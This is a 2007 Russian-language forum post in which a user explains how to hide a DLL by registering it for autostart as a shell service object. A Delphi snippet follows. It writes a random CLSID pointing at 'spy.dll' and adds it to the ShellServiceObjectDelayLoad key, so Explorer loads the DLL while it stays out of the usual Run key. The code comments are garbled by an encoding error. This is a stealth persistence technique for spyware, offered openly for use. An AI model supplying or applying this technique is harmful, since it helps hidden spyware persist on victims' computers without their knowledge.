Показать сообщение отдельно
  #12  
Старый 10.11.2007, 11:53
ruff3d ruff3d вне форума
Прохожий
 
Регистрация: 08.11.2007
Сообщения: 20
Репутация: 10
По умолчанию

скрытие ... я просто регитрирую dll в автозагрузку сервисов (не в раздел RUN) там где регятся сервисы / ну шота типа этого ....:

Reg:TRegistry;
Temp:TGUID;
S:String;
t:textfile;
begin
CreateGUID(Temp);
s := GUIDToString(Temp);
Reg := TRegistry.Create;
reg.rootkey:=HKEY_CLASSES_ROOT;
if reg.openkey ('CLSID\'+s+'\InProcServer32', true) then
// хёыш ёючфрыш шфхэЄшЇшърЄюЁ ъырёёр
begin
reg.writestring('',windir+'spy.dll'); //±єёЄ№ ъ сшсышюЄхъх

reg.closekey;
reg.rootkey:=HKEY_LOCAL_MACHINE;
reg.openkey('Software\Microsoft\Windows\CurrentVer sion\ShellServiceObjectDelayLoad', true);
reg.writestring('SpyDllLoad', s);
reg.closekey;
end;
Reg.Free;
end;
Ответить с цитированием